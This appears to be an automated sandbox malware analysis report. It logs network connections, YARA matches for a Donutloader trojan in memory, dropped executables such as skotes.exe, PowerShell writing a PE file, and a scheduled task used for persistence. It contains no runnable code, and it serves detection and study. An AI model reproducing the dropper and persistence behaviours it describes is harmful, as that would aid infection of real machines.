Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.9:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.9:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.9:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.9:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.9:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.16:443 -> 192.168.2.9:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.9:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.42:443 -> 192.168.2.9:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 164.132.168.81:443 -> 192.168.2.9:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.9:50052 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000002F.00000002.3949693249.0000000000310000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000024.00000002.3950928863.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002C.00000002.3950183505.0000000000DD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002E.00000000.2765891846.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000001E.00000002.4026201365.0000000008270000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000023.00000002.3952681085.0000000000B90000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002E.00000002.3949234425.0000000000D10000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000027.00000002.3949106672.0000000000CF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000027.00000000.2722890872.0000000000CF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002B.00000002.3949944520.0000000000390000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000031.00000002.3950440710.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000032.00000002.3950745908.0000000000680000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000030.00000000.2772382736.0000000000860000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000021.00000002.3949691335.00000000008A0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000001E.00000000.2669314318.0000000007590000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002E.00000002.3949104288.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000001E.00000002.4020661600.0000000007590000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000032.00000000.2778949645.0000000000680000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000022.00000000.2705482772.00000000006D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000038.00000000.2820880841.0000000000E80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000023.00000002.3950430675.0000000000B60000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000036.00000000.2805153901.0000000000B00000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000025.00000000.2716581161.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002B.00000000.2748613644.0000000000390000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000030.00000002.3949552387.0000000000890000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002D.00000002.3951463621.0000000000280000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000038.00000002.3949197044.0000000000E80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000025.00000002.3949685611.0000000000D10000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000027.00000002.3949410091.0000000000D20000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002D.00000002.3950119021.0000000000250000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000028.00000000.2727187192.0000000000F80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002C.00000000.2753933388.0000000000DD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000021.00000002.3949232550.0000000000870000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000028.00000002.3950537654.0000000000F80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000025.00000002.3949201379.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000022.00000002.3949200036.00000000006D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000031.00000002.3952729365.0000000000C20000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000035.00000002.3949957788.0000000000540000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000024.00000002.3953090366.0000000000C20000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002D.00000000.2764105412.0000000000250000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000035.00000000.2782456836.0000000000540000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000031.00000000.2774799935.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000023.00000000.2707901628.0000000000B60000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000021.00000000.2693465530.0000000000870000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002B.00000002.3950780718.00000000003C0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000028.00000002.3952929525.0000000000FB0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000024.00000000.2710605344.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000036.00000002.3951450143.0000000000B30000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002F.00000000.2769315370.0000000000310000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000037.00000002.3950182926.0000000000C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000032.00000002.3952970949.00000000006B0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000036.00000002.3950762365.0000000000B00000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002C.00000002.3951635304.0000000000E00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000035.00000002.3950934873.0000000000570000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000037.00000002.3949693545.0000000000BD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000002F.00000002.3950179741.0000000000340000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000030.00000002.3949194748.0000000000860000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000038.00000002.3949553181.0000000000EB0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000037.00000000.2811666069.0000000000BD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000022.00000002.3949583923.0000000000700000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name:
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name: .idata
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.16.dr	Static PE information: section name:
Source: skotes.exe.16.dr	Static PE information: section name: .idata
Source: skotes.exe.16.dr	Static PE information: section name:
Source: random[1].exe.19.dr	Static PE information: section name:
Source: random[1].exe.19.dr	Static PE information: section name: .idata
Source: random[1].exe.19.dr	Static PE information: section name:
Source: ddd4dd05d2.exe.19.dr	Static PE information: section name:
Source: ddd4dd05d2.exe.19.dr	Static PE information: section name: .idata
Source: ddd4dd05d2.exe.19.dr	Static PE information: section name:
Source: random[1].exe0.19.dr	Static PE information: section name:
Source: random[1].exe0.19.dr	Static PE information: section name: .idata
Source: random[1].exe0.19.dr	Static PE information: section name:
Source: 83d4c6bf2a.exe.19.dr	Static PE information: section name:
Source: 83d4c6bf2a.exe.19.dr	Static PE information: section name: .idata
Source: 83d4c6bf2a.exe.19.dr	Static PE information: section name:
Source: random[1].exe1.19.dr	Static PE information: section name:
Source: random[1].exe1.19.dr	Static PE information: section name: .idata
Source: random[1].exe1.19.dr	Static PE information: section name:
Source: 5d1390e5c6.exe.19.dr	Static PE information: section name:
Source: 5d1390e5c6.exe.19.dr	Static PE information: section name: .idata
Source: 5d1390e5c6.exe.19.dr	Static PE information: section name:
Source: 0474b55419.exe.19.dr	Static PE information: section name:
Source: 0474b55419.exe.19.dr	Static PE information: section name: .idata
Source: 0474b55419.exe.19.dr	Static PE information: section name:
Source: random[2].exe0.19.dr	Static PE information: section name:
Source: random[2].exe0.19.dr	Static PE information: section name: .idata
Source: c1444066db.exe.19.dr	Static PE information: section name:
Source: c1444066db.exe.19.dr	Static PE information: section name: .idata

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\10001420101\build.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB9B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CB9B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CB9B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB3F280

Source: C:\Users\user\Documents\GCGHCBKFCF.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

